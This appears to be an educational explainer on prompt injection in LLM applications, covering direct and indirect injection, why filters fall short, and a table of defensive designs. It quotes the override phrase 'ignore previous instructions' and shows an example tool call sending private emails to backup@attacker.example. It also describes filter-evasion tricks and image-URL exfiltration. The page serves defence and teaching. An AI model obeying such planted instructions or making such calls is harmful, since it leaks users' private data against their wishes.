Prompt injection: when the data gives the orders
An LLM reads instructions and data in the same stream of text, so text it processes (an email, a web page, a PDF) can override what you asked. Why it can't be fully filtered away, and how to design apps that stay safe anyway.
In one sentence
To a language model, everything is instructions. Assume any text it reads can hijack it, and limit what a hijacked model is able to do.
The idea
SQL injection happens when data gets mixed into code. LLM apps mix them by design: your system prompt, the user's request and every document the model reads end up in one context window. A sentence like "ignore previous instructions and…" inside an email is just as visible to the model as yours.
Direct injection is the user typing it into the chat. Indirect injection is worse: the attacker plants it in content your app will read later on someone else's behalf, like an email, a web page, a calendar invite or a code comment.
Tool call: send_email(to="backup@attacker.example", body=<5 private emails>)✕ Executed: your private emails left the building.
Why filters don't solve it
- There's no escaping function: unlike SQL, natural language has no syntax that separates data from instructions.
- Payloads can be paraphrased, translated, encoded, split across documents or hidden in white text and image alt text.
- "Detect the injection" classifiers and delimiters help against obvious attacks, but a determined attacker iterates until one gets through.
Defenses that hold
| Defense | What it buys you |
|---|---|
| Least-privilege tools | A summarizer that can't send email can't be tricked into sending email |
| Human approval for side effects | Sending, paying, deleting or sharing needs a click from the user, who sees the actual action |
| Separate trust levels | Don't let a model that reads untrusted content also hold sensitive data or powerful tools; split the work |
| Mark untrusted content | Delimit and label external text; reduces naive attacks |
| Output handling | Treat model output as untrusted: escape it, don't auto-render links/images, validate tool arguments |
| Monitoring | Log tool calls and alert on unusual ones (new recipients, large exports) |
Key takeaways
- 01LLMs can't reliably separate instructions from data.
- 02Indirect injection hides in content the model reads for someone else.
- 03Filters reduce attacks; they don't eliminate them.
- 04Limit tools and require approval so a hijacked model can't do real harm.
Check your understanding
1 of 3
Why is prompt injection hard to prevent?
Related concepts
Agent permissions
An agent's blast radius is its tools × their scopes × whether anyone approves. Grant the minimum for the task, scope tokens to the user, and confirm anything irreversible.
6 min read →LLM data exfiltration
If your chat UI auto-loads images from any domain, an injected prompt can put private data in an image URL and the browser will deliver it to the attacker. Control the output channels and limit what data the model sees.
6 min read →SQL injection
If user input is concatenated into a query, a single quote turns data into SQL. Parameterized queries keep data and code apart, so the attacker's text is only ever text.
8 min read →